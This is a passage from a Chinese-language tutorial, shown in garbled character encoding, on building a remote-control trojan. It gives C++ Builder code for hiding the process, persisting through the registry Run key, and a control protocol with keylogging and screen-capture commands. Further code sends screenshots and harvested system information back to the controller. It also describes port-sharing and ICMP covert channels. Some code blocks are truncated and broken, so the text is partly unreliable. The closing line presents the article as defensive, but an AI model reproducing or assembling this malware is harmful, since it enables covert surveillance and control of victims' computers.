線程:一個(gè)進(jìn)程,可以存在一個(gè)或多個(gè)線程,線程之間同步執(zhí)行多種操作,一般地,線程之間是相互獨(dú)立的,當(dāng)一個(gè)線程發(fā)生錯(cuò)誤的時(shí)候,并不一定會(huì)導(dǎo)致整個(gè)進(jìn)程的崩潰。
服務(wù):一個(gè)進(jìn)程當(dāng)以服務(wù)的方式工作的時(shí)候,它將會(huì)在后臺工作,不會(huì)出現(xiàn)在任務(wù)列表中,但是,在Windows NT/2000下,你仍然可以通過服務(wù)管理器檢查任何的服務(wù)程序是否被啟動(dòng)運(yùn)行。
想要隱藏木馬的服務(wù)器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進(jìn)程仍然存在,只不過是讓他消失在進(jìn)程列表里。真隱藏則是讓程序徹底的消失,不以一個(gè)進(jìn)程或者服務(wù)的方式工作。
偽隱藏的方法,是比較容易實(shí)現(xiàn)的,只要把木馬服務(wù)器端的程序注冊為一個(gè)服務(wù)就可以了,這樣,程序就會(huì)從任務(wù)列表中消失了,因?yàn)橄到y(tǒng)不認(rèn)為他是一個(gè)進(jìn)程,當(dāng)按下Ctrl+Alt+Delete的時(shí)候,也就看不到這個(gè)程序。但是,這種方法只適用于Windows9x的系統(tǒng),對于Windows NT,Windows 2000等,通過服務(wù)管理器,一樣會(huì)發(fā)現(xiàn)你在系統(tǒng)中注冊過的服務(wù)。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當(dāng)然還有辦法,那就是API的攔截技術(shù),通過建立一個(gè)后臺的系統(tǒng)鉤子,攔截PSAPI的EnumProcessModules等相關(guān)的函數(shù)來實(shí)現(xiàn)對進(jìn)程和服務(wù)的遍歷調(diào)用的控制,當(dāng)檢測到進(jìn)程ID(PID)為木馬程序的服務(wù)器端進(jìn)程的時(shí)候直接跳過,這樣就實(shí)現(xiàn)了進(jìn)程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了TextOutA,TextOutW函數(shù),來截獲屏幕輸出,實(shí)現(xiàn)即時(shí)翻譯的。同樣,這種方法也可以用在進(jìn)程隱藏上。
當(dāng)進(jìn)程為真隱藏的時(shí)候,那么這個(gè)木馬的服務(wù)器部分程序運(yùn)行之后,就不應(yīng)該具備一般進(jìn)程,也不應(yīng)該具備服務(wù)的,也就是說,完全的溶進(jìn)了系統(tǒng)的內(nèi)核。也許你會(huì)覺得奇怪,剛剛不是說一個(gè)應(yīng)用程序運(yùn)行之后,一定會(huì)產(chǎn)生一個(gè)進(jìn)程嗎?的確,所以我們可以不把他做成一個(gè)應(yīng)用程序,而把他做為一個(gè)線程,一個(gè)其他應(yīng)用程序的線程,把自身注入其他應(yīng)用程序的地址空間。而這個(gè)應(yīng)用程序?qū)τ谙到y(tǒng)來說,是一個(gè)絕對安全的程序,這樣,就達(dá)到了徹底隱藏的效果,這樣的結(jié)果,導(dǎo)致了查殺黑客程序難度的增加。
出于安全考慮,我只給出一種通過注冊服務(wù)程序,實(shí)現(xiàn)進(jìn)程偽隱藏的方法,對于更復(fù)雜,高級的隱藏方法,比如遠(yuǎn)程線程插入其他進(jìn)程的方法,請參閱ShotGun的文章《NT系統(tǒng)下木馬進(jìn)程的隱藏與檢測》。
CODE:
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
DWORD dwVersion = GetVersion(); //取得Windows的版本號
if (dwVersion >= 0x80000000) // Windows 9x隱藏任務(wù)列表
{
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary("KERNEL32.DLL"); //裝入KERNEL32.DLL
rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess"); //找到RegisterServiceProcess的入口
rsp(NULL,1); //注冊服務(wù)
FreeLibrary(dll); //釋放DLL模塊
}
}
catch (Exception &exception) //處理異常事件
{
//處理異常事件
}
return 0;
}
3、程序的自加載運(yùn)行技術(shù)
讓程序自運(yùn)行的方法比較多,除了最常見的方法:加載程序到啟動(dòng)組,寫程序啟動(dòng)路徑到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,還有很多其他的辦法,據(jù)yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或者通過注冊表里的輸入法鍵值直接掛接啟動(dòng),通過修改Explorer.exe啟動(dòng)參數(shù)等等的方法,真的可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run鍵值來實(shí)現(xiàn)自啟動(dòng)的程序:
自裝載部分:
CODE:
HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
Close();
}
else
{
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORDvl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}
其中自裝載部分使用C++ Builder可以這樣寫,會(huì)比較簡化:
CODE:
TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
}
regKey.CloseKey();
delete ?Key;
4、木馬程序的建立連接的隱藏
木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常是利用Winsock與目標(biāo)機(jī)的指定端口建立起連接,使用send和recv等API進(jìn)行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當(dāng)前的活動(dòng)TCP,UDP連接。
C:\Documents and Settings\bigball>netstat -n
但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說,使用特殊的手段,在一個(gè)端口上同時(shí)綁定兩個(gè)TCP或者UDP連接,這聽起來不可思議,但事實(shí)上確實(shí)如此,而且已經(jīng)出現(xiàn)了使用類似方法的程序,通過把自己的木馬端口綁定于特定的服務(wù)端口之上,(比如80端口的HTTP,誰懷疑他會(huì)是木馬程序呢?)從而達(dá)到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協(xié)議進(jìn)行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構(gòu)造,加入木馬的控制字段,這樣的木馬,具備很多新的特點(diǎn),不占用端口的特點(diǎn),使用戶難以發(fā)覺,同時(shí),使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點(diǎn),是因?yàn)镮CMP不同于TCP,UDP,ICMP工作于網(wǎng)絡(luò)的應(yīng)用層不使用TCP協(xié)議。
5、發(fā)送數(shù)據(jù)的組織方法
關(guān)于數(shù)據(jù)的組織方法,可以說是數(shù)學(xué)上的問題。關(guān)鍵在于傳遞數(shù)據(jù)的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發(fā)現(xiàn),必須很好的控制數(shù)據(jù)傳輸量,一個(gè)編制較好的木馬,往往有自己的一套傳輸協(xié)議,那么程序上,到底是如何組織實(shí)現(xiàn)的呢?下面,我舉例包裝一些協(xié)議:
CODE:
typedef struct{ //定義消息結(jié)構(gòu)
//char ip[20];
char Type;//消息種類
char Password[20];//密碼
int CNum;//消息操作號
//int Length;//消息長度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//對話框數(shù)據(jù)包定義:Dlg_Msg_Type.h
//-------------------------------------------
//定義如下消息類型:
#define MsgDlgCommon 4//連接事件
#define MsgDlgSend 5//發(fā)送完成事件
//消息結(jié)構(gòu)
typedef struct{
char Name[20];//對話框標(biāo)題
char Msg[256];//對話框消息內(nèi)容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度
//------------------------------------------
//聊天數(shù)據(jù)包定義:Chat_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgChatCommon 0//連接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//結(jié)束事件
#define MsgChatReceived 16//確認(rèn)對話內(nèi)容收到
//消息結(jié)構(gòu)
typedef struct{
char ClientName[20];//Client自定義的名稱
char Msg[256];//發(fā)送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息單元長度
//------------------------------------------
//重啟數(shù)據(jù)包定義:Reboot_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgReBoot 15//重啟事件
//------------------------------------------
//目錄結(jié)構(gòu)請求數(shù)據(jù)包定義:Dir_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目錄名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg
typedef struct{ //定義消息結(jié)構(gòu)
char SType;//消息種類
char SPassword[20];//密碼
//int SNum; //消息操作號
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGListProgram19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp請求消息
#define MSGCopyWindow 26
//-------------------------
//鼠標(biāo)指針隱藏和顯示控制
//-------------------------
#define MsgSetMouseStat 27//設(shè)置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任務(wù)欄隱藏和顯示控制
//-------------------------
#define MsgSetTaskBarStat 29//設(shè)置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到機(jī)器名
//-------------------------
#define MsgGetNetBiosName 31//取請求
#define MsgNetBiosName 32//回送機(jī)器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//關(guān)閉進(jìn)程變更!
//-------------------------
#define MsgSetProgramClose 33//關(guān)閉請求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要關(guān)閉的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打開進(jìn)程變更!
//-------------------------
#define MsgSetProgramOpen 20//打開請求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打開的程序的名字
bool ProgramShow;//前臺運(yùn)行或后臺運(yùn)行程序(隱藏運(yùn)行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)
上面一段定義,使用了TCP和UDP兩種協(xié)議目的就是為了減少TCP連接的幾率,這樣所消耗的系統(tǒng)資源就會(huì)比較少,不容易讓目標(biāo)機(jī)察覺。很多木馬程序中,都有像上面定義中類似的密碼定義,目地是為了防止非真實(shí)客戶機(jī)的連接請求。SNum為消息操作號,它的作用是為了效驗(yàn)數(shù)據(jù)是否是發(fā)送過的,經(jīng)過分析而知,我們熟悉的OICQ也正是使用了這一辦法來校驗(yàn)消息的。
數(shù)據(jù)協(xié)議組織好,還有一步工作,就是數(shù)據(jù)的打包發(fā)送,一般的方法是把全部數(shù)據(jù)壓為一個(gè)VOID類型的數(shù)據(jù)流,然后發(fā)送:
CODE:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="機(jī)器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
?
當(dāng)服務(wù)器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結(jié)構(gòu)化的協(xié)議,這里同樣給出事例代碼:
CODE:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫面,然后回傳給客戶機(jī),由于畫面的數(shù)據(jù)量很大所以,很多木馬程序都是在畫面改變的時(shí)候才回傳改變部分的畫面,常用的手段是最小矩形法,下面以好友“古老傳說”的一段算法舉例:
CODE:
#define MAXXCount 10 //屏幕X方向最多分割塊數(shù)
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每塊的偏移檢測點(diǎn)最大個(gè)數(shù)
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后執(zhí)行:
//另外:接收到的數(shù)據(jù)包中分析出 Dnum ,Qlity
//Dnum:偏移觀測點(diǎn)數(shù)量
//Qlity:圖象要求質(zhì)量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只執(zhí)行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函數(shù)功能:掃描改變的屏幕區(qū)域,并切經(jīng)過優(yōu)化處理,最后發(fā)送這些區(qū)域數(shù)據(jù)
//DNum: 偏移量 Qlity:圖象質(zhì)量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}
這個(gè)程序把屏幕畫面切分為了多個(gè)部分,并存儲(chǔ)畫面為JPG格式,這樣壓縮率就變的十分的高了。通過這種方法壓縮處理過的數(shù)據(jù),變得十分小,甚至在屏幕沒有改變的情況下,傳送的數(shù)據(jù)量為0,在這里不做過多分析了,有興趣的朋友,可以多看看。
6、目標(biāo)機(jī)器情況的獲取
相對于以上幾部分來說,這里實(shí)現(xiàn)的方法簡單多了,這一段內(nèi)容會(huì)比較輕松,一般獲取機(jī)器情況的方法是調(diào)用相關(guān)的API,這一點(diǎn)上是和應(yīng)用程序很相像的。
CODE:
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//獲得CPU型號
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理內(nèi)存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用內(nèi)存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盤、1—不存在、2—可移動(dòng)磁盤、3—固定磁盤、4—網(wǎng)絡(luò)磁盤、
//5—CD-ROM、6—內(nèi)存虛擬盤
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++){//循環(huán)檢測A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁盤類型
if(type==0){
cs="未知類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移動(dòng)類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="網(wǎng)絡(luò)映射磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5) {
cs="光驅(qū):"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6) {
cs="內(nèi)存虛擬磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)) {
cs=String(name)+"盤卷標(biāo)為:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盤序號為:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //獲得返回參數(shù)
totalspace=int(cluster)*byte*sector/1024/1024; //計(jì)算總?cè)萘?br /> freespace=int(free)*byte*sector/1024/1024; //計(jì)算可用空間
cs=String(name)+String(‘:‘)+"盤總空間(Mb):"+AnsiString(totalspace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盤可用空間(Mb):"+AnsiString(freespace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形設(shè)備信息
mididevice=(int)midiOutGetNumDevs(); // MIDI設(shè)備信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="當(dāng)前波形設(shè)備:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="當(dāng)前MIDI設(shè)備:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="當(dāng)前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //計(jì)算色彩的梯度數(shù)
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //計(jì)算色深
AnsiString sss;
sss=bpp;
cs="當(dāng)前色深為:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
}
上面一段程序,基本上把相關(guān)的系統(tǒng)信息都取到了。
7、服務(wù)器端程序的包裝與加密
用過冰河的人都知道,冰河允許用戶自定義端口號。這樣做的目的,是為了防止被反黑程序檢測出來,這種功能是如何實(shí)現(xiàn)的呢?
首先讓我們來做一個(gè)實(shí)驗(yàn):
進(jìn)入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一個(gè)文本文件Test.Txt,其內(nèi)容為“http://www.patching.net”
3)C:\>type Text.Txt>>Server.Exe
4)運(yùn)行Server.Exe
怎么樣?是不是發(fā)現(xiàn)Server.Exe仍然可以運(yùn)行呢?木馬服務(wù)器端自定制的奧秘就在這里:首先生成了一個(gè)EXE文件,這個(gè)EXE文件里有一項(xiàng)讀取自身進(jìn)程內(nèi)容的操作,讀取時(shí),文件的指針直接指向進(jìn)程的末尾,從末尾的倒數(shù)N個(gè)字節(jié)處取得用戶定制的信息,比如端口號等,然后傳遞給程序的相關(guān)部分進(jìn)行處理。這里不給出相關(guān)的代碼部分,有興趣的朋友請參考一些文件打包程序代碼,它所使用的技術(shù)是大同小異的。
8、總結(jié)
以上講的幾點(diǎn)技術(shù),基本上包括了所有第二代木馬的特點(diǎn),個(gè)別的木馬程序支持服務(wù)器列表,宏傳播等,實(shí)現(xiàn)上大同小異。隨著技術(shù)的不斷更新和發(fā)展,相信離第五代木馬出現(xiàn)的日子已經(jīng)不遠(yuǎn)了,黑與反黑,如此往復(fù)的的進(jìn)行下去,看來反黑工作要走的路還很長,從根本上防止木馬,也只有從我們自身對木馬的認(rèn)識開始,希望這篇文章在您閱讀之后能帶給您一些反黑技術(shù)上的幫助
轉(zhuǎn)載于:https://www.cnblogs.com/tuyile006/archive/2006/09/04/494355.html
總結(jié)
以上是生活随笔為你收集整理的特洛伊木马程序开发技术的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 女生学计算机和遥感哪个好就业,遥感科学与
- 下一篇: DDR3:MIG控制器设计(vivado